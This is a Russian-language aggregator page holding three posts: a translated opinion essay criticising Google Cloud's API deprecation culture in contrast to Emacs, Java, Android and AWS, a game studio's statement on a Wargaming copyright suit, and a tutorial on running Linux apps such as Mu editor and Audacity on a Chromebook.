Я использую Emacs каждый божий день. Да, я также использую IntelliJ каждый день, она уже сама превратилась в мощную инструментальную платформу. Но написание расширений для IntelliJ гораздо более амбициозная и сложная задача, чем написание расширений для Emacs. И что ещё более важно, всё написанное для Emacs сохраняется вечно.

Я по-прежнему использую программное обеспечение, которое написал для Emacs ещё в 1995 году. И уверен, что кто-то используют модули, написанное для Emacs в середине 80-х, если не раньше. Время от времени они могут потребовать незначительной настройки, но это действительно довольно редко. Я не знаю ничего из того, что я когда-либо писал для Emacs (а я написал много), в чём пришлось бы перестроить архитектуру.

В Emacs есть функция под названием make-obsolete для устаревших сущностей. Терминология Emacs для фундаментальных компьютерных концепций (например, что такое окно) часто отличается от отраслевых конвенций, потому что Emacs ввёл их очень давно. Это типичная опасность для тех, кто опередил своё время: все ваши термины некорректны. Но в Emacs действительно есть концепция устаревания, которая на их жаргоне называется obsolescence.

Но в мире Emacs, похоже, другое рабочее определение. Другая основополагающая философия, если хотите.

В мире Emacs (и во многих других областях, которые мы рассмотрим ниже) статус устаревших API в основном означает: Вы действительно не должны использовать этот подход, потому что, хотя он и работает, он страдает от различных недостатков, которые мы перечислим здесь. Но, в конце концов, это ваш выбор.

В мире Google статус устаревшего продукта означает: Мы нарушаем свои обязательства перед вами. Это действительно так. Вот что это по сути означает. Это означает, что они заставят вас регулярно проделывать некоторую работу, возможно, большую работу, в наказание за то, что вы поверили в их красочную рекламу: у нас лучшее программное обеспечение. Самое быстрое! Вы делаете всё по инструкции, запускаете своё приложение или сервис, а затем бац, через год или два оно ломается.

Это всё равно что продавать подержанный автомобиль, который точно сломается через 1500 км.

Это два совершенно разных философских определения устаревания. Определение Google пахнет запланированным устареванием. Я не верю, что это на самом деле запланированное устаревание в том же смысле, как у Apple. Но Google определённо планирует сломать ваши программы, окольным путём. Я знаю это, потому что проработал там инженером-программистом более 12 лет. У них есть расплывчатые внутренние рекомендации, в какой мере следует соблюдать обратную совместимость, но в конечном итоге это зависит от каждой отдельной команды или службы. Нет никаких рекомендаций корпоративного или инженерного уровня, и самая смелая рекомендация с точки зрения циклов устаревания это попробуйте дать клиентам 6-12 месяцев на обновление, прежде чем сломать им всю систему.

Проблема гораздо серьёзнее, чем они думают, и она сохранится ещё долгие годы, потому что забота о клиентах не входит в их ДНК. Подробнее об этом ниже.

На данный момент я собираюсь сделать смелое утверждение, что Emacs успешен в значительной степени и даже в основном потому, что они так серьёзно относятся к обратной совместимости. Собственно, это и есть тезис нашей статьи. Успешные долгоживущие открытые системы обязаны своим успехом микросообществам, которые десятилетиями живут вокруг расширений/плагинов. Это и есть экосистема. Я уже рассуждал о сути платформ и о том, насколько они важны, и о том, что Google никогда за всю свою корпоративную историю не понимала, что входит в создание успешной открытой платформы, не считая Android или Chrome.

Вообще-то я должен вкратце упомянуть Android, потому что вы наверняка подумали о нём.

Во-первых, Android это не Google. Они не имеют почти ничего общего друг с другом. Android это компания, которая была куплена Google в июле 2005 года, этой компании было разрешено работать более или менее автономно и фактически она осталась в значительной степени нетронутой в течение прошедших лет. Android это печально известный технический стек и столь же печально известная колючая организация. Как выразился один гуглер, нельзя просто так взять и войти в Android.

В одной из прошлых статей я уже рассуждал, насколько плохими были некоторые из ранних дизайнерских решений Android. Чёрт возьми, когда я писал ту статью, они занимались развёртыванием дерьма под названием мгновенные приложения, которые теперь (сюрприз!) устарели, и сочувствую, если вы были достаточно глупы, чтобы послушаться Google и перенести свой контент в эти мгновенные приложения.

Но здесь есть разница, существенная разница, которая заключается в том, что люди из Android действительно понимают, насколько важны платформы, они изо всех сил стараются сохранить работоспособность старых приложений Android. На самом деле, их усилия сохранить обратную совместимость настолько экстремальны, что даже я, во время своего краткого пребывания в подразделении Android несколько лет назад, обнаружил, что пытаюсь убедить их отказаться от поддержки некоторых из самых старых устройств и API (я ошибался, как и во многих других вещах прошлого и настоящего. Извините, ребята из Android! Теперь, когда я побывал в Индонезии, я понимаю, зачем они нам нужны).

Люди из Android поддерживают обратную совместимость до почти невообразимых крайностей, что нагромождает огромное количество устаревших технических долгов в их системах и цепочках инструментов. О боже, вы бы видели некоторые сумасшедшие вещи, которые им приходится делать в своей системе сборки, и всё это во имя совместимости.

За это я присуждаю Android заветную награду Ты не Google. Они действительно не хотят становится Google, которая не умеет создавать долговечные платформы, а вот Android знает, как это делать. И поэтому Google ведёт себя очень мудро в одном отношении: позволяет людям в Android делать всё по-своему.

Однако мгновенные приложения для Android были довольно глупой идеей. И знаете, почему? Потому что они требовали переписать и перепроектировать ваше приложение! Как будто люди просто так возьмут и перепишут два миллиона приложений. Предполагаю, что мгновенные приложения были идеей какого-то гуглера.

Но здесь есть разница. Обратная совместимость сопряжена с большими затратами. Android сам несёт бремя этих затрат, в то время как Google настаивает на том, чтобы это бремя несли вы, платный клиент.

Вы можете увидеть приверженность Android обратной совместимости в её API-интерфейсах. Когда у вас четыре или пять различных подсистем для выполнения буквально одного и того же, это верный признак, что в основе лежит приверженность обратной совместимости. Что в мире платформ является синонимом приверженности вашим клиентам и вашему рынку.

Главная проблема Google здесь их гордость своей инженерной гигиеной. Им не нравится, когда есть много разных способов делать одно и то же, причем старые, менее желательные способы сидят рядом с новыми, более причудливыми способами. Это увеличивает кривую обучения для новичков в системе, это увеличивает бремя поддержки устаревших API, это замедляет скорость новых функций, и главный грех это некрасиво. Google как Леди Эскот из Алисы в Стране чудес Тима Бертона:

Леди Эскот:
Алиса, знаешь, чего я боюсь больше всего?
Упадка аристократии?
Я опасалась, что у меня будут некрасивые внуки.

Чтобы понять компромисс между красивым и практичным, давайте взглянем на третью успешную платформу (после Emacs и Android) и посмотрим, как она работает: сама Java.

В Java масса устаревших API. Устаревание очень популярно среди Java-программистов, даже популярнее, чем в большинстве языков программирования. В самой Java, основном языке и библиотеках постоянно происходит устаревание API.

Если взять только один из тысяч примеров, закрытие потоков считается устаревшим. Оно устарело с момента выпуска Java 1.2 в декабре 1998 года. Прошло 22 года с тех пор, как это устарело.

Но мой реальный код в продакшне по-прежнему убивает потоки каждый день. Разве это хорошо? Абсолютно! Я имею в виду, конечно, если бы я переписал код сегодня, я бы реализовал это по-другому. Но код моей игры, которая за последние два десятилетия сделала счастливыми сотни тысяч людей, написана с функцией закрытия потоков, которые висят слишком долго, и мне никогда не приходилось его менять. Я знаю свою систему лучше всех, у меня буквально 25-летний опыт работы с ней в продакшне, и я могу точно сказать: в моём случае закрытие этих конкретных рабочих потоков совершенно безвредно. Не стоит тратить время и силы на переписывание этого кода, и хвала Ларри Эллисону (наверное), что Oracle не заставила меня переписывать его.

Наверное, Oracle тоже разбирается в платформах. Кто его знает.

Доказательства вы можете встретить по всем ключевым Java API, которые пронизаны волнами устаревания, подобно линиям ледника в каньоне. В библиотеке Java Swing можно легко найти пять или шесть различных менеджеров навигации с клавиатуры (KeyboardFocusManager). На самом деле трудно найти Java API, который не является устаревшим. Но они всё ещё работают! Думаю, команда Java по-настоящему удалит API только в том случае, если интерфейс вызовет вопиющую проблему безопасности.

Вот в чём дело, ребята: мы, разработчики программного обеспечения, все очень заняты, и в каждой области программного обеспечения мы сталкиваемся с конкурирующими альтернативами. В любой момент времени программисты на языке X рассматривают язык Y как возможную замену. О, вы мне не верите? Вы хотите назвать Swift? Мол, все мигрируют на Swift и никто от него не отказывается, верно? Ого, как мало вы знаете. Компании считают расходы на двойные команды мобильной разработки (iOS и Android) и они начинают понимать, что эти кросс-платформенные системы разработки со смешными названиями, такие как Flutter и React Native, действительно работают, и с их помощью можно сократить размеры своих мобильных команд вдвое или, наоборот, сделать их вдвое продуктивнее. На кону реальные деньги. Да, есть компромиссы, но, с другой стороны, де-е-еньги.

Предположим гипотетически, что Apple по глупости взяла пример с Гвидо ван Россума и объявила, что Swift 6.0 обратно несовместим со Swift 5.0, во многом как Python 3 несовместим с Python 2.

Наверное, я рассказывал эту историю лет десять назад, но лет пятнадцать назад я ездил в лагерь OReillys Foo Camp с Гвидо, сидел в палатке с Полом Грэмом и кучей больших шишек. Мы сидели в изнуряющей жаре и ждали, когда Ларри Пейдж вылетит на своём личном вертолете, а Гвидо монотонно бубнил о Питоне 3000, который он назвал по количеству лет, которое потребуется всем, чтобы туда мигрировать. Мы всё время спрашивали его, почему он нарушает совместимость, и он отвечал: Unicode. И мы спрашивали, если нам придется переписать наш код, то какие еще преимущества мы увидим? И он отвечал Yoooooooooooooouuuuuuuniiiiiiicoooooooode.

Если установить Google Cloud Platform SDK (gcloud), то вы получите следующее уведомление:

Уважаемый получатель,

Мы хотели бы вам напомнить, что поддержка Python 2 устарела, так что пошёёёёёёёёл тыыыыыыы

и так далее. Круг жизни.

Но дело в том, что у каждого разработчика есть выбор. И если заставить их переписывать код достаточно часто, то они могут подумать и о других вариантах. Они не ваши заложники, как бы вам этого ни хотелось. Они ваши гости. Python по-прежнему очень популярный язык программирования, но, чёрт побери, Python 3(000) создал у такой бардак у себя, в своих сообществах и у пользователей своих сообществ, что последствия не могут разгрести уже пятнадцать лет.

Сколько программ Python было переписано на Go (или Ruby, или какой-то другой альтернативе) из-за этой обратной несовместимости? Сколько нового программного обеспечения было написано на чём-то другом, кроме Python, хотя оно могло быть написано на Python, если бы Гвидо не сжёг всю деревню? Трудно сказать, но Python явно пострадал. Это огромный бардак, и все в проигрыше.

Итак, допустим, Apple берёт пример с Гвидо и нарушает совместимость. Как думаете, что будет дальше? Ну, может, 80-90% разработчиков перепишут своё программное обеспечение, если получится. Другими словами, 10-20% пользовательской базы автоматически уходят на какой-то конкурирующий язык, например, Flutter.

Сделайте это несколько раз и вы потеряете половину своей пользовательской базы. Как и в спорте, в мире программирования текущая форма тоже значит всё. Любой, кто потеряет половину пользователей за пять лет, будет считаться Большим Жирным Неудачником. Вы же должны быть в тренде в мире платформ. Но именно здесь отказ от поддержки старых версий со временем вас погубит. Потому что каждый раз, когда вы избавляетесь от части разработчиков, вы (а)теряете их навсегда, потому что они сердятся на вас за нарушение контракта, и (б)отдаёте их своим конкурентам.

По иронии судьбы, я тоже помог Google превратиться в такую примадонну, которая игнорирует обратную совместимость, когда создал Grok, систему анализа и понимания исходного кода, которая облегчает автоматизацию и оснастку инструментарием на основе самого кода похоже на IDE, но здесь облачный сервис хранит материализованные представления всех миллиардов строк исходного кода Google в большом хранилище данных.

Grok предоставил гуглерам мощную основу для проведения автоматизированного рефакторинга по всей кодовой базе (буквально по всему Google). Система вычисляет не только ваши восходящие зависимости (от которых вы зависите), но и нисходящие (которые зависят от вас), поэтому при смене API вы знаете всех, кого ломаете! Таким образом, при внесении изменений вы можете проверить, что каждый потребитель вашего API обновился до новой версии, а в реальности часто с помощью инструмента Rosie, который они написали, вы можете полностью автоматизировать процесс.

Это позволяет кодовой базе Google внутренне быть почти сверхъестественно чистой, так как у них эти роботизированные слуги снуют по всему дому и автоматически всё подчищают, если они переименовали SomeDespicablyLongFunctionName в SomeDespicablyLongMethodName, потому что кто-то решил, что это некрасивый внук, и его нужно усыпить.

И, честно говоря, это довольно хорошо работает для Google внутренне. Я имею в виду, да, сообщество Go в Google действительно по-доброму посмеивается с сообщества Java в Google из-за их привычки к непрерывному рефакторингу. Если вы что-то перезапускаете N раз, то это означает, что вы не только испортили это N-1 раз, но и через некоторое время становится совершенно ясно, что вы, вероятно, испортили это и с N-ой попытки. Но, по большому счету, они остаются выше этой суеты и сохраняют код чистым.

Проблемы начинаются, когда они пытаются навязать такое отношение своим облачным клиентам и пользователям других API.

Я немного познакомил вас с Emacs, Android и Java; давайте посмотрим на последнюю успешную долгоживущую платформу: сам Веб. Можете представить, через сколько итераций прошёл HTTP с 1995 года, когда мы использовали мигающие теги <blink> и значки В разработке на веб-страницах.

Но это всё ещё работает! И эти страницы всё ещё работают! Да, ребята, браузеры мировые чемпионы по обратной совместимости. Chrome это ещё один пример редкой платформы Google, у которой головы привинчены правильно, и, как вы уже догадались, Chrome эффективно действует как изолированная компания отдельно от остального Google.

Я также хочу поблагодарить наших друзей среди разработчиков операционных систем: Windows, Linux, НЕ APPLE ПОШЛА Т APPLE, FreeBSD и так далее, за то, что они проделали такую большую работу по обратной совместимости на своих успешных платформах (Apple получает в лучшем случае тройку с минусом, так как они постоянно всё ломают без всякой уважительной причины, но каким-то образом сообщество справляется с этим в каждом релизе, и до сих пор контейнеры с OS X ещё не полностью устарели пока).

Но подождите, скажете вы. Разве мы не сравниваем яблоки с апельсинами автономные программные системы на одной машине, такие как Emacs/JDK/Android/Chrome, с многосерверными системами и API, как в облачных сервисах?

Ну, я написал об этом вчера в твиттере, но в стиле Ларри Уолла (создатель языка программирования Perl прим. пер.) по принципу отстой/рулез я поискал слово deprecated на сайтах для разработчиков Google и Amazon. И хотя у AWS в сотни раз больше предложений услуг, чем у GCP, документация разработчиков Google упоминает устаревание примерно в семь раз чаще.

Если кто-то из Google читает это, то наверняка они готовы вытащить диаграммы в показывая стиле Дональда Трампа, что на самом деле делают всё правильно, и что я не должен делать несправедливые сравнения, такие как количество упоминаний слова deprecated в зависимости от количества сервисов.

Но спустя столько лет Google Cloud по-прежнему остается сервисом 3 (я так и не написал статью о неудачной попытке стать 2), но если верить инсайдерам, есть некоторые опасения, что они могут скоро опуститься до 4.

У меня нет веских аргументов, чтобы доказать свой тезис. Всё, что у меня есть, это красочные примеры, которые я накопил за 30 лет работы в качестве разработчика. Я уже упоминал о глубоко философской природе этой проблемы; в некотором смысле она политизирована в сообществах разработчиков. Некоторые считают, что создатели платформ должны заботиться о совместимости, а другие считают, что это забота пользователей (самих разработчиков). Одно из двух. И в самом деле, разве это не политический вопрос, когда мы решаем, кто должен нести расходы за общие проблемы?

Так что это политика. И наверняка будут гневные ответы на моё выступление.

Как пользователь облачной платформы Google, а также как пользователь AWS в течение двух лет (работая в компании Grab), могу сказать, что существует огромная разница между философиями Amazon и Google, когда речь заходит о приоритетах. Я не веду активную разработку на AWS, поэтому не очень хорошо знаю, насколько часто они убирают старые API. Но есть подозрение, что это происходит далеко не так часто, как в Google. И я искренне верю, что этот источник постоянных споров и разочарований в GCP является одним из самых больших факторов, сдерживающих развитие платформы.

Знаю, что не назвал конкретные примеры систем GCP, поддержка которых прекращена. Могу сказать, что практически всё, что я использовал, от сетей (от самых старых до VPC) до хранилищ (Cloud SQL v1-v2), Firebase (теперь Firestore с совершенно другим API), App Engine (давайте даже не будем начинать), облачных конечных точек Cloud Endpoint и до я не знаю абсолютно всё это заставляло переписывать код максимум через 2-3 года, и они никогда не автоматизировали для вас миграцию, а часто не было никакого документированного пути миграции вообще. Словно так и положено.

И каждый раз, когда я смотрю на AWS, я спрашиваю себя, какого чёрта я до сих пор сижу на GCP. Им явно не нужны клиенты. Им нужны покупатели. Понимаете разницу? Давайте объясню.

У Google Cloud есть Marketplace, на котором люди предлагают свои программные решения, а чтобы избежать эффекта пустого ресторана, нужно было заполнить его некоторыми предложениями, поэтому они заключили контракт с компанией Bitnami, чтобы создать кучу решений, которые развёртываются одним щелчком мыши, или я сам должен написать решения, потому что эти ни черта не решают. Они просто существуют как флажки, как маркетинговый наполнитель, и Google никогда не заботило, работает ли какой-то из инструментов в реальности. Я знаю менеджеров по продукту, которые были за рулём, и могу вас заверить, что этим людям наплевать.

Возьмём, к примеру, решение с развёртыванием якобы одним щелчком мыши Percona. Мне до смерти надоели проделки Google Cloud SQL, так что я начал рассматривать в качестве альтернативы создание собственного кластера Percona. И на этот раз Google вроде сделала хорошее дело, они собирались сэкономить мне немного времени и усилий одним нажатием кнопки!

Ну отлично, поехали. Перейдём по ссылке и нажмём эту кнопку. Выбираем Да, чтобы согласиться на все параметры по умолчанию и развернуть кластер в своём облачном проекте Google. Ха-ха, не работает. Ничего из этого дерьма не работает. Инструмент никогда не тестировался, и он начал подгнивать с первой минуты, и меня не удивит, если более половины решений для развёртывания одним щелчком мыши (теперь мы понимаем, почему кавычки) вообще не работают. Это абсолютно беспросветная тьма, куда лучше не входить.

Но Google прямо призывает вас использовать их. Они хотят, чтобы ты их купил. Для них это транзакция. Они не хотят ничего поддерживать. Это не часть ДНК Google. Да, инженеры поддерживают друг друга, о чём свидетельствует моя история с Bigtable. Но в продуктах и услугах для обычных людей они всегда были безжалостны в закрытии любого сервиса, который не соответствует планке прибыльности, даже если у него миллионы пользователей.

И это представляет реальную проблему для GCP, потому что эта ДНК стоит за всеми облачными предложениями. Они не стремятся что-либо поддерживать; хорошо известно, что они отказываются размещать (как управляемый сервис) любое стороннее программное обеспечение до тех пор, пока AWS не сделает то же самое и не построит вокруг успешный бизнес, и когда клиенты буквально потребуют то же самое. Однако нужно приложить определённые усилия, чтобы заставить Google что-то поддерживать.

Это отсутствие культуры поддержки, в сочетании с принципом давайте сломаем, чтобы сделать красивее, отчуждает от них разработчиков.

И это не очень хорошо, если вы хотите построить долгоживущую платформу.

Google, просыпайся, чёрт побери. Сейчас 2020 год. Ты всё ещё проигрываешь. Пришло время пристально посмотреть в зеркало и ответить, действительно ли ты хочешь остаться в облачном бизнесе.

Если хочешь остаться, то прекрати всё ломать. Ребята, вы же богатые. Мы, разработчики нет. Поэтому, когда дело доходит до того, кто взвалит на себя бремя совместимости, вам нужно взять это на себя. Не нам.

Потому что есть ещё по крайней мере три действительно хороших облака. Они манят к себе.

А теперь я пойду дальше чинить все свои сломанные системы. Эх.

До следующего раза!

P. S. Обновление после прочтения некоторых обсуждений этой статьи (обсуждения великолепны, кстати). Поддержка Firebase не прекращена, и нет никаких планов, о которых я знаю. Тем не менее, у них есть неприятная ошибка потоковой передачи, которая заставляет Java-клиент останавливаться в App Engine. Один из их инженеров помог мне справиться с этой проблемой, когда я работал в Google, но они никогда реально не исправили баг, поэтому у меня есть паршивенький обходной путь, приходится каждый день перезапускать приложение GAE. И так уже четыре года! Теперь у них есть Firestore. Потребуется много работы, чтобы мигрировать на него, так как это совершенно другая система, а ошибка Firebase никогда не будет исправлена. Какой вывод можно сделать? Вы можете получить помощь, если работаете в компании. Наверное, я единственный, кто использует Firebase на GAE, потому что я записываю менее 100 ключей в родном на 100% приложении, и оно перестаёт работать каждые пару дней из-за известной ошибки. Что тут можно сказать, кроме как использовать его на свой страх и риск. Я перехожу на Redis.

Я также видел, как некоторые более опытные пользователи AWS говорили, что AWS обычно никогда не прекращает поддержки никаких сервисов, и SimpleDB отличный пример. Мои предположения, что в AWS нет такой болезни с прекращением поддержки, как у Google, похоже, оправданы.

Кроме того, я заметил, что 20 дней назад команда Google App Engine сломала хостинг критической библиотеки Go, закрыв приложение GAE от одного из основных разработчиков Go. Действительно, глупо получилось.

Наконец, я слышал, что гуглеры уже обсуждают этот вопрос и в целом согласны со мной (люблю вас, ребята!). Но похоже, что они считают проблему нерешаемой, потому что в культуре Google никогда не было правильной структуры стимулов. Думаю, хорошо бы выкроить немного времени, чтобы обсудить абсолютно удивительный опыт работы с инженерами AWS, когда я работал в компании Grab. Как-нибудь в будущем, надеюсь!

И да, в 2005 году у них действительно были разные виды акульего мяса на гигантском шведском столе в здании 43, и мне больше всего нравилось мясо молотоголовых акул. Однако к 2006 году Ларри и Сергей избавились от всех нездоровых закусок. Так что во время истории с Bigtable в 2007 году действительно не было никаких акул и я вас подло обманул.

Когда я смотрел на облачную Bigtable четыре года назад (плюс-минус), стоимость была именно такой. Кажется, сейчас она немного снизилось, но это всё ещё ужасно много для пустого хранилища данных, особенно учитывая, что моя первая история показывает, насколько несущественна пустая большая таблица в их масштабе.

Извините, что обидел сообщество Apple и что не сказал ничего хорошего о Microsoft и т.д. Вы все правы, я очень ценю все дискуссии, которую вызвала эта статья! Но иногда нужно немного пустить волну, чтобы начать обсуждение, вы же понимаете?

Спасибо за чтение.

Апдейт 2, 19.08.2020. Stripe правильно выполняет обновление API!

Апдейт 3, 31.08.2020. Со мной связался инженер Google в Cloud Marketplace, который оказался моим старым другом. Он хотел выяснить, почему не работает C2D, и в конце концов мы выяснили: причина в том, что я создал свою сеть несколько лет назад, а C2D не срабатывает в устаревших сетях из-за отсутствующего параметра подсети в их шаблонах. Думаю, что потенциальным пользователям GCP лучше убедиться, что у них достаточно знакомых инженеров в Google
Подробнее..

Wargaming выдвинула новое обвинение добавив технодемо 2017 года

16.09.2020 12:14:05 | Автор: admin

Wargaming неожиданно усилил на нас атаку в США. В конце Августа 2020 мы узнали из калифорнийского суда, что после нашего недавнего переименования (которое, как нам казалось, должно было снять все прошлые надуманные претензии), к искуWargaming было добавлено обвинение теперь уже и в незаконном копировании исходного кодаNetworkTestGame. Так называется тестовый клиент, использовавшийся для отладки сетевого кодаOpenSourceдвижкаdava.framework, размещенного наgithub.comс 2012 года. Чтобы формально обосновать эту атаку, кипрская компания в Июне 2020 зарегистрировалаNetworkTestGameвU.S.Copyright Officeпод видом отдельного продукта и приложила эту регистрацию к иску, дополнив экспертным сравнением скриншотов с нашей игрой BattlePrime:

Один из лидеров на рынкеfree-to-playMMO (источникhttps://wargaming.com/ru/about/) обосновал заимствование следующими признаками:

1) игровой прицел внешне похож;

2) идентичный виртуальный джойстик, расположенный в нижнем левом углу;

3) пустынная местность с пальмами, которые даже отбрасывают тень;

4) управляемый игроком стрелок изображен в виде от третьего лица верхней половиной тела;

5) 3Dизображение противника в отдалении.

Оставим оценку такой аргументации и подходов WG вдумчивым читателям, следящим за развитием травли нашей компании. Со своей стороны заверяем, что ООО Пресс Фире Гамес продолжает развитие свой игры Battle Prime, полностью разработанной на 100% своём движке ни в коей части не основанном на старом движке Wargaming. А что касается юридических процессов в Беларуси, Кипре и США, то мы будем держать вас в курсе.

FYI: Мы приняли решение переименовать ООО БлицТим в конце Мая 2020, чтобы отделить спор по торговым маркам от развития игры.

Подробнее..

Перевод Запуск Linux-приложений на Chromebook

24.09.2020 10:22:34 | Автор: admin


Появление Chromebook стало важным моментом для американских систем образования, позволив им покупать недорогие ноутбуки для учеников, учителей и администраторов. Хотя Chromebook всегда работали под управлением операционной системы на основе Linux (Chrome OS), до недавнего времени большинство Linux-приложений на них запустить было невозможно. Однако всё изменилось, когда Google выпустила Crostini виртуальную машину, позволяющую запускать на Chromebook ОС Linux (бета).

Большинство Chromebook, выпущенных после 2019 года, а также некоторые более старые модели, способны работать с Crostini и Linux (бета). Узнать, находится ли ваш Chromebook в списке поддерживаемых устройств, можно здесь. К счастью, мой Acer Chromebook 15 с 2 ГБ ОЗУ и процессором Intel Celeron поддерживается.


(Don Watkins, CC BY-SA 4.0)

Если вы планируете устанавливать много Linux-приложений, то рекомендую использовать Chromebook с 4 ГБ ОЗУ и большим объёмом свободного пространства на диске.

Настройка Linux (бета)


Войдя в систему Chromebook, переместите курсор мыши в нижний правый угол экрана, где расположены часы, и нажмите левой клавишей. Откроется панель, сверху которой будут перечислены опции (слева направо): выход, завершение работы, блокировка и открытие параметров. Выберите значок параметров (Settings).


(Don Watkins, CC BY-SA 4.0)

В левой части панели Settings вы увидите в списке Linux (Beta).


(Don Watkins, CC BY-SA 4.0)

Нажмите на Linux (Beta), и в основной панели появится опция его запуска. Нажмите на кнопку Turn on.


(Don Watkins, CC BY-SA 4.0)

После этого запустится процесс настройки окружения Linux на Chromebook.


(Don Watkins, CC BY-SA 4.0)

Затем вам предложат ввести Username и нужный размер установки Linux.


(Don Watkins, CC BY-SA 4.0)

Для установки Linux на Chromebook потребуется несколько минут.


(Don Watkins, CC BY-SA 4.0)

После завершения установки можно будет начинать работу с Linux на Chromebook. В панели меню нижней части дисплея Chromebook есть ярлык терминала текстового интерфейса, который можно использовать для взаимодействия с Linux.


(Don Watkins, CC BY-SA 4.0)

Можно воспользоваться стандартными командами Linux, например ls, lscpu и top, чтобы получить больше информации об окружении. Приложения устанавливаются командой sudo apt install.

Устанавливаем первое Linux-приложение


Возможность установки и запуска свободного ПО с открытым исходным кодом на Chromebook позволяет реализовать широкие возможности.

Первым делом я рекомендую установить приложение Mu editor для Python. Установим его, введя в терминал следующее:

$ sudo apt install mu-editor

Для установки потребуется чуть больше пяти минут, но в конечном итоге вы получите возможность пользоваться отличным редактором кода на Python.

Я с огромным успехом использовал Mu и Python в качестве инструмента обучения. Например, я учил своих студентов писать код для модуля turtle языка Python и исполнять его для создания графики. Меня расстроило то, что не удалось использовать Mu с открытой аппаратной платой BBC:Microbit. Несмотря на то, что Microbit подключается к USB и в виртуальном окружении Linux на Chromebook есть поддержка USB, заставить её работать мне не удалось.


(Don Watkins, CC BY-SA 4.0)

После установки приложения оно отобразится в специальном меню Linux Apps, которое показано в нижнем правом углу скриншота.


(Don Watkins, CC BY-SA 4.0)

Установка других приложений


Можно устанавливать не только язык программирования с редактором кода. На самом деле, вы можете установить большинство ваших любимых приложений с открытым исходным кодом.

Например, такой командой можно установить пакет LibreOffice:

$ sudo apt install libreoffice

Аудиоредактор с открытым исходным кодом Audacity один из моих любимых учебных приложений. Микрофон моего Chromebook работает с Audacity, благодаря чему я с лёгкостью могу создавать подкасты или редактировать бесплатные звуки из Wikimedia Commons. Установить Audacity на Chromebook легко запустив виртуальное окружение Crostini, откройте терминал и введите следующее:

$ sudo apt install audacity

Затем запустите Audacity из командной строки или найдите его в разделе Linux Apps меню Chromebook.


(Don Watkins, CC BY-SA 4.0)

Также я с лёгкостью установил TuxMath и TuxType пару замечательных образовательных программ. Мне даже удалось установить и запустить редактор изображений GIMP. Все Linux-приложения берутся из репозиториев Debian Linux.


(Don Watkins, CC BY-SA 4.0)

Передача файлов


В Linux (бета) есть утилита для резервного копирования и восстановления файлов. Также можно передавать файлы между виртуальной машиной Linux (бета) и Chromebook, открыв на Chromebook приложение Files и нажав правой клавишей на той папке, которую вы хотите передать. Можно передать все файлы с Chromebook или создать специальную папку для общих файлов. Находясь в виртуальной машине Linux, доступ к папке можно получить, перейдя к /mnt/chromeos.


(Don Watkins, CC BY-SA 4.0)

Дополнительная информация


Документация по Linux (бета) очень подробна, поэтому внимательно её изучите, чтобы узнать о возможностях. Вот некоторые важные аспекты, взятые из документации:

  • Камеры пока не поддерживаются.
  • Android-устройства поддерживаются через USB.
  • Аппаратное ускорение пока не поддерживается.
  • Доступ к микрофону есть.

Пользуетесь ли вы Linux-приложениями на Chromebook? Расскажите об этом в комментариях!



На правах рекламы


VDSina предлагает серверы в аренду под любые задачи, огромный выбор операционных систем для автоматической установки, есть возможность установить любую ОС с собственного ISO, удобная панель управления собственной разработки и посуточная оплата.

Подробнее..

Категории

Последние комментарии

© 2006-2020, personeltest.ru